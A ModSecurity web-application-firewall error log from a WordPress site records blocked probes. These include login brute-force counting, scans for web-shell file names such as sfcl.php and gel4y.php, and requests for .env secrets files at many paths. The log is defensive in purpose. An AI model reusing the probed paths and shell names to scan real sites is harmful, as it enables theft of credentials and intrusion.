[Sun Dec 07 14:08:15.351410 2025] [:error] [pid 36068:tid 36093] [client 216.73.163.187:48121] [client 216.73.163.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.163.187, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTUZz1GuxqM4ZYob8lPOlAAAABc"]
[Sun Dec 07 17:36:48.074770 2025] [:error] [pid 39560:tid 39564] [client 49.235.136.28:49424] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTVKsCtL21FvSzcnpi07KQAAAUI"]
[Sun Dec 07 20:13:43.936003 2025] [:error] [pid 9961:tid 9977] [client 4.194.76.195:53228] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aTVvd2Qdnfbgcnzr89JK9AAAAU4"]
[Sun Dec 07 20:13:51.134828 2025] [:error] [pid 9961:tid 9981] [client 4.194.76.195:53552] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aTVvf2Qdnfbgcnzr89JK_wAAAVI"]
[Sun Dec 07 20:13:52.060187 2025] [:error] [pid 5224:tid 5287] [client 4.194.76.195:53539] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aTVvgPAAkbWt7RJBoF_fYAAAAMY"]
[Sun Dec 07 20:13:56.358537 2025] [:error] [pid 5224:tid 5281] [client 4.194.76.195:53554] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aTVvhPAAkbWt7RJBoF_fYgAAAMA"]
[Sun Dec 07 20:13:59.374761 2025] [:error] [pid 9961:tid 9973] [client 4.194.76.195:53515] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/85ohni.php"] [unique_id "aTVvh2Qdnfbgcnzr89JLEgAAAUo"]
[Sun Dec 07 20:14:00.785917 2025] [:error] [pid 5223:tid 5267] [client 4.194.76.195:53550] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/85ohni.php"] [unique_id "aTVviPoRJa-T0FB0DNrfQAAAAI0"]
[Sun Dec 07 20:14:05.593454 2025] [:error] [pid 5312:tid 5322] [client 4.194.76.195:54870] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/85ohni.php"] [unique_id "aTVvjeaM49rasZGg_o7ynQAAAAg"]
[Sun Dec 07 20:14:10.389830 2025] [:error] [pid 5222:tid 5237] [client 4.194.76.195:54865] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/85ohni.php"] [unique_id "aTVvkt8FU0HgkYWmt7s1TQAAAEs"]
[Sun Dec 07 20:14:20.964392 2025] [:error] [pid 5312:tid 5331] [client 4.194.76.195:53548] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aTVvnOaM49rasZGg_o7ynwAAABE"]
[Sun Dec 07 20:14:30.138148 2025] [:error] [pid 5222:tid 5229] [client 4.194.76.195:54864] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "aTVvpt8FU0HgkYWmt7s1XgAAAEM"]
[Sun Dec 07 20:14:34.195466 2025] [:error] [pid 5222:tid 5227] [client 4.194.76.195:53563] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "aTVvqt8FU0HgkYWmt7s1ZAAAAEE"]
[Sun Dec 07 20:14:37.226785 2025] [:error] [pid 9961:tid 9968] [client 4.194.76.195:56350] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "aTVvrWQdnfbgcnzr89JLZgAAAUU"]
[Sun Dec 07 20:14:40.565418 2025] [:error] [pid 9610:tid 9623] [client 4.194.76.195:56332] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gel4y.php"] [unique_id "aTVvsMZ4Zl9G0UhQ7w0qsAAAAQs"]
[Sun Dec 07 20:14:51.434735 2025] [:error] [pid 5224:tid 5292] [client 4.194.76.195:56320] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aTVvu_AAkbWt7RJBoF_fkAAAAMs"]
[Sun Dec 07 20:14:56.638392 2025] [:error] [pid 9961:tid 9978] [client 4.194.76.195:56357] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aTVvwGQdnfbgcnzr89JLdAAAAU8"]
[Sun Dec 07 20:14:59.653958 2025] [:error] [pid 9961:tid 9965] [client 4.194.76.195:54917] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aTVvw2Qdnfbgcnzr89JLegAAAUI"]
[Sun Dec 07 20:15:00.854395 2025] [:error] [pid 5312:tid 5332] [client 4.194.76.195:54960] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mds.php"] [unique_id "aTVvxOaM49rasZGg_o7yzwAAABI"]
[Sun Dec 07 20:15:03.340332 2025] [:error] [pid 9610:tid 9620] [client 4.194.76.195:56343] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t1.php"] [unique_id "aTVvx8Z4Zl9G0UhQ7w0q3wAAAQg"]
[Sun Dec 07 20:15:06.367728 2025] [:error] [pid 5222:tid 5245] [client 4.194.76.195:54853] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t1.php"] [unique_id "aTVvyt8FU0HgkYWmt7s1cQAAAFM"]
[Sun Dec 07 20:15:09.278485 2025] [:error] [pid 5223:tid 5269] [client 4.194.76.195:56326] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t1.php"] [unique_id "aTVvzfoRJa-T0FB0DNrfaQAAAI8"]
[Sun Dec 07 20:15:12.083658 2025] [:error] [pid 9961:tid 9983] [client 4.194.76.195:57225] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t1.php"] [unique_id "aTVv0GQdnfbgcnzr89JLiwAAAVQ"]
[Sun Dec 07 20:15:14.296741 2025] [:error] [pid 5222:tid 5228] [client 4.194.76.195:57413] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sfcl.php"] [unique_id "aTVv0t8FU0HgkYWmt7s1eAAAAEI"]
[Sun Dec 07 20:15:15.576654 2025] [:error] [pid 5224:tid 5298] [client 4.194.76.195:54866] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sfcl.php"] [unique_id "aTVv0_AAkbWt7RJBoF_flgAAANE"]
[Sun Dec 07 20:15:23.168971 2025] [:error] [pid 5223:tid 5261] [client 4.194.76.195:56294] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sfcl.php"] [unique_id "aTVv2_oRJa-T0FB0DNrfdwAAAIc"]
[Sun Dec 07 20:15:24.121330 2025] [:error] [pid 9961:tid 9979] [client 4.194.76.195:57220] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sfcl.php"] [unique_id "aTVv3GQdnfbgcnzr89JLlAAAAVA"]
[Sun Dec 07 20:15:24.951684 2025] [:error] [pid 5223:tid 5267] [client 4.194.76.195:56377] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oysdxc.php"] [unique_id "aTVv3PoRJa-T0FB0DNrfegAAAI0"]
[Sun Dec 07 20:15:27.382565 2025] [:error] [pid 5224:tid 5304] [client 4.194.76.195:56275] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oysdxc.php"] [unique_id "aTVv3_AAkbWt7RJBoF_fqwAAANc"]
[Sun Dec 07 20:15:29.658731 2025] [:error] [pid 5222:tid 5235] [client 4.194.76.195:57273] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oysdxc.php"] [unique_id "aTVv4d8FU0HgkYWmt7s1mgAAAEk"]
[Sun Dec 07 20:15:30.882217 2025] [:error] [pid 5224:tid 5282] [client 4.194.76.195:56371] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oysdxc.php"] [unique_id "aTVv4vAAkbWt7RJBoF_fsAAAAME"]
[Sun Dec 07 20:15:35.836348 2025] [:error] [pid 5224:tid 5301] [client 4.194.76.195:57434] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTVv5_AAkbWt7RJBoF_ftAAAANQ"]
[Sun Dec 07 20:15:37.756438 2025] [:error] [pid 9610:tid 9634] [client 4.194.76.195:57463] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTVv6cZ4Zl9G0UhQ7w0rDAAAARY"]
[Sun Dec 07 20:15:39.551967 2025] [:error] [pid 5223:tid 5277] [client 4.194.76.195:57236] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTVv6_oRJa-T0FB0DNrfggAAAJc"]
[Sun Dec 07 20:15:42.498287 2025] [:error] [pid 5224:tid 5304] [client 4.194.76.195:58487] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTVv7vAAkbWt7RJBoF_fuAAAANc"]
[Sun Dec 07 20:15:47.953990 2025] [:error] [pid 5224:tid 5290] [client 4.194.76.195:58422] [client 4.194.76.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flap.php"] [unique_id "aTVv8_AAkbWt7RJBoF_fwAAAAMk"]
[Sun Dec 07 20:15:54.071769 2025] [:error] [pid 5222:tid 5240] [client 4.194.76.195:58449] [client 4.194.76.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/11.php"] [unique_id "aTVv-t8FU0HgkYWmt7s1pgAAAE4"]
[Sun Dec 07 20:39:44.712065 2025] [:error] [pid 9610:tid 9617] [client 78.84.169.238:24614] [client 78.84.169.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTV1kMZ4Zl9G0UhQ7w0vTwAAAQU"]
[Mon Dec 08 05:33:23.876395 2025] [:error] [pid 54704:tid 54711] [client 182.44.10.67:47023] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTXyo3L1WYsMMmlqjh4MLAAAAUQ"]
[Mon Dec 08 05:42:40.455186 2025] [:error] [pid 54705:tid 54740] [client 92.118.39.32:42368] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aTX00KdUeDkxwo12SG8flQAAAYY"]
[Mon Dec 08 05:42:40.463654 2025] [:error] [pid 18726:tid 18735] [client 92.118.39.32:42402] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aTX00FwVbxmJGL5LHAc1MwAAAMc"]
[Mon Dec 08 05:42:40.467512 2025] [:error] [pid 54705:tid 54734] [client 92.118.39.32:42474] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aTX00KdUeDkxwo12SG8flgAAAYA"]
[Mon Dec 08 05:42:40.469054 2025] [:error] [pid 54705:tid 54735] [client 92.118.39.32:42478] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/src/.env"] [unique_id "aTX00KdUeDkxwo12SG8flwAAAYE"]
[Mon Dec 08 05:42:40.473389 2025] [:error] [pid 18726:tid 18729] [client 92.118.39.32:42452] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aTX00FwVbxmJGL5LHAc1NAAAAME"]
[Mon Dec 08 05:42:40.475876 2025] [:error] [pid 18726:tid 18741] [client 92.118.39.32:42404] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTX00FwVbxmJGL5LHAc1NQAAAM0"]
[Mon Dec 08 05:42:40.494447 2025] [:error] [pid 18726:tid 18751] [client 92.118.39.32:42386] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTX00FwVbxmJGL5LHAc1NgAAANc"]
[Mon Dec 08 05:42:40.505656 2025] [:error] [pid 54705:tid 54737] [client 92.118.39.32:42376] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aTX00KdUeDkxwo12SG8fmAAAAYM"]
[Mon Dec 08 05:42:40.507333 2025] [:error] [pid 54671:tid 54691] [client 92.118.39.32:42418] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env.prod"] [unique_id "aTX00FqOuiNLLCfVy7-INwAAARE"]
[Mon Dec 08 05:42:40.511028 2025] [:error] [pid 54671:tid 54683] [client 92.118.39.32:42410] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aTX00FqOuiNLLCfVy7-IOAAAAQk"]
[Mon Dec 08 05:42:40.515855 2025] [:error] [pid 18635:tid 18665] [client 92.118.39.32:42460] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aTX00G4kCC_HamQRuE1xQAAAAEA"]
[Mon Dec 08 05:42:40.516145 2025] [:error] [pid 18635:tid 18677] [client 92.118.39.32:42438] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTX00G4kCC_HamQRuE1xQQAAAEw"]
[Mon Dec 08 05:42:40.517372 2025] [:error] [pid 54671:tid 54695] [client 92.118.39.32:42420] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aTX00FqOuiNLLCfVy7-IOQAAARU"]
[Mon Dec 08 05:42:41.075896 2025] [:error] [pid 54671:tid 54684] [client 92.118.39.32:39350] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aTX00VqOuiNLLCfVy7-IOgAAAQo"]
[Mon Dec 08 05:42:41.081515 2025] [:error] [pid 54705:tid 54748] [client 92.118.39.32:39336] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aTX00adUeDkxwo12SG8fmwAAAY4"]
[Mon Dec 08 05:42:41.099987 2025] [:error] [pid 54705:tid 54745] [client 92.118.39.32:39394] [client 92.118.39.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aTX00adUeDkxwo12SG8fnAAAAYs"]
